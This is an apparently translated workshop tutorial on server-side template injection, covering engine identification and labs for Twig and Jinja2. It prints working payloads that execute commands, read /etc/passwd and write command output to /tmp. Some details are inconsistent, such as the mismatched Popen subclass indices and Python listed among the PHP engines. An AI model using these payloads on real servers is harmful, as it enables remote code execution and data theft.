1 Introduction
The so-called template injection, also known as server-side template injection (SSTI), is a type of security vulnerability that appeared in 2015. James Kettle’s speech at the 2015 Black Hat Conference laid a solid foundation for the vulnerability exploitation technology of multiple template engines. To take advantage of such security vulnerabilities, you need to have a certain degree of understanding of related template libraries or related languages.
First of all, this article will give a corresponding introduction to template injection vulnerabilities to help readers understand various attack modes in order to better identify potential vulnerabilities. Then, we will examine 5 different template engines, and each of these templates has its own characteristics. Among them, for each template engine, we will provide an exercise, which contains a Web application that has “exposed” the template engine.
Required software
In terms of software, the only requirement is to install the corresponding HTTP intercepting proxy.
- Burp Suite
- OWASP ZAP
If you only install a web browser, you will not be able to complete the experiment described in this article. However, this does not prevent you from continuing to read the following.
Run the application
In order to complete this exercise, you need to run the application in the experiment yourself. And, in order to facilitate deployment, all applications can be obtained by docker containers.
- Download the code.
$ git clone https://github.com/GoSecure/template-injection-workshop
- Read the build instructions (see %application_dir%/README.md for details), and note that this step is different for different applications.
- Use docker-compose to start the application.
$ docker-compose up
Configure DNS (optional)
In order to make the related links work normally, you can add a line like the following to the local host file (/etc/hosts or C:\Windows/system32\drivers\etc\hosts):
127.0.0.1template-injection.gosec.co
Related video
You can watch the complete seminar via video. Through the video, you can listen to all the explanations and watch the demonstration process of all the exercises. To do this, you can open the corresponding YouTube page in a new window to view the content of each chapter.
2. Template injection
With the help of a template engine, developers can use static template files in their applications. At runtime, the template engine will replace the relevant variables in the template file with actual values, and convert the template into an HTML file and send it to the client. This method makes designing HTML pages easier.
Although templates are statically deployed, the emergence of highly configurable services (SaaS) allows some template libraries to be directly “exposed” on the Internet. These seemingly very limited template libraries are actually much more powerful than many developers think.
Data binding example
In the template, the developer needs to define static content and placeholders for dynamic values. At runtime, the template will be processed by the engine to map the dynamic value references in the template.
Hello {{firstName}} {{lastName}}!
Simple template example
Templates are usually provided in the form of scripts, and their role is not just simple data binding. Because data structures can be complex (such as lists and nested objects), templates usually provide some programming-like functions. For example, the template engine may allow access to the relevant fields of the object as follows:
Hello {{user.firstName}} {{user.lastName}}!
Examples of nested attributes
Nested attributes like the above are not directly handed over to the language for processing. Instead, the engine parses the dynamic value user.firstName in the placeholder. The engine will directly call the method or field firstname. This syntax is usually simple and compact for ease of use. At the same time, because these syntaxes are usually so powerful, they can be separated from the context of simple data binding.
Break through conventional thinking
In order to abuse the template engine, the attacker needs to make full use of the various functions provided by the template engine.
If the engine allows access to the field, it can access the internal data structure we are interested in. Furthermore, these internal data structures may have states that we want to cover. Therefore, they may expose powerful types.
If the engine allows function calls, then our goal is a function that reads files, executes commands, or accesses the internal state of the application.
In fact, the next six exercises demonstrate how to achieve the above goals through various techniques.
3. Identify the template engine
Currently, there are a large number of template libraries. In fact, we can find dozens of libraries in every programming language. In practice, if we limit ourselves to the most popular libraries, when we know the language to use, we can focus on 2 to 3 potential libraries.
C# (StringTemplate, ASPX dynamically used on Sharepoint).
Java (Velocity, Freemarker, Pebble, Thymeleaf and Jinjava)
PHP (Twig, Smarty, Dwoo, Volt, Blade, Plates, Mustache, Python, Jinja2, Tornado, mustache and String Template).
Go (text/template)
Heuristic method
Rather than blindly testing every known payload, it is better to confirm the technology used with a certain degree of confidence. In addition, the final payload may need to be adjusted to meet the requirements of the specific runtime environment.
The following is the decision tree proposed by James Kettles, which can be used to identify the template used. This decision tree is composed of simple evaluations, and the expressions in it are not applicable to every technology. Since these are very basic expressions, when a new version of the template library is released, these expressions will not quickly become obsolete. Of course, related method names and advanced syntax may change over time.
4. LAB 1: Twig (PHP)
Introduction
Twig is probably the most popular template library for PHP. It was developed by the creator of Synfony (a very popular PHP framework). In our exercises, we will also use Craft CMS, which is a content management system that uses Twig internally.
Basic knowledge of template syntax
Twig syntax is not only simple, but also very compact. Below are a few basic variable binding examples.
Hello {{ var }}
Hello {{ var|escape }}
Variable binding example
Reference: Twig official documents
Attack surface
For Twig, its variable _self exposes many APIs inside Twig. The following is a malicious payload that can be used to attack the registerUndefinedFilterCallback function. In the following payload, after the command id is executed, it will return the id of the current user (Linux).
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Command execution example
Exercise
In order to complete this exercise, please connect to the appropriate web server:
http://template-injection.gosec.co:8012/
It will provide a very simple form with only one field.
In this form, you can submit a simple expression to confirm whether the template is used to display values. The following expression will perform subtraction.
{{1338-1}}
The result of the above subtraction operation should be displayed as 1337
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Execute id command
The result of the id command should be:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Can you access the flag.txt file on the server?
5. LAB 2: Jinja2 (Python)
Introduction
Jinja is a popular template engine in Python, which is very similar to Django templates. However, compared to Django templates, Jinsa can easily be used dynamically at runtime. Django templates are designed as dynamic views stored in static files.
Basic knowledge of template syntax
Below are a few simple expressions to demonstrate the basic syntax of Jinja.
//String
{{ message }}
//Accessing an attribute
{{ foo.bar }}
//Accessing an attribute (alternative)
{{ foo['bar'] }}
Basic variable binding
References: Jinja official documents
Attack surface
In fact, Python metadata attributes can be read from any Python object. In addition, method calls will not be filtered. However, it is not easy to obtain powerful operation permissions such as command execution.
Basic knowledge of Jinja exploit
We can access the class through the meta attribute __class__.
{{''.__class__}}
<type 'str'>
From any class, we can obtain Method Resolution Order (MRO) objects. The MRO object contains the class hierarchy of the current type.
{{''.__class__.__mro__}}
<type 'str'>, <type 'basestring'>, <type 'object'>
Through the type object found before, we can list all its subclasses. In fact, this is equivalent to enumerating all the classes loaded in the current context. However, which classes are available depends entirely on the import operation of the application. In Jinja2, the import operation is not easy to trigger.
{{''.__class__.__mro__[2].__subclasses__()}}
<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'> [...]
We can pick any type from the above list and call these types of methods. The element corresponding to index 40 in the object subclass list is ({{“.__class__.__mro__[2].__subclasses__()[40]). We can use this type to read any file.
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
//The previous extension is analog to
file("/etc/passwd","r").read()
The above payload only applies to Python 2.7.
Reference materials:
Exploring SSTI in Flask/Jinja2 – Part 2
Cheatsheet – Flask & Jinja2 SSTI
Use subprocess.Popen
Here, we need to work hard to find a powerful type is subprocess.Popen.
In Python 3.8, its index may be 245. Of course, this index value will vary depending on the loaded module.
{{[].__class__.__mro__[1].__subclasses__()[396]}}
<class 'subprocess.Popen'>
In Python 2.7, its index may be 245.
{{[].__class__.__mro__[1].__subclasses__()[245]}}
<class 'subprocess.Popen'>
Execution instructions:
{{[].__class__.__mro__[1].__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
Os module (Python 2.7)
In addition to the types described above, there is another type that may also be used by attackers. It caches all available python modules, among them, we can find the os module.
WARNINGS_INSTANCE.__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from '/usr/lib/python2.7/os.pyc'>
Source: https://hexplo.it/escaping-the-csawctf-python-sandbox/
Applying this interesting pattern to the Jinja template, we can get the payload as shown below.
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd')}}
Here is a two-step payload: first execute a command and temporarily store the command output in the temp folder, and then use another Jinja expression to read the command output.
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd') }}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read() }}
These payloads are only available for Python 2.7.
Exercise
In order to complete this exercise, please connect to the web server
http://template-injection.gosec.co:8013/
First, you must detect which HTTP parameter is placed in the template. For this, you can resort to simple arithmetic expressions.
Using the above methods can take full advantage of this vulnerability.
Can you access the flag.txt file on the server?
Summary
In this article, we introduced the concept of template injection vulnerabilities, the identification method of template engines, and the injection vulnerabilities related to the two template engines in detail. In the next article, we will continue to introduce readers to the other four template-related injection vulnerabilities.
Leave a Reply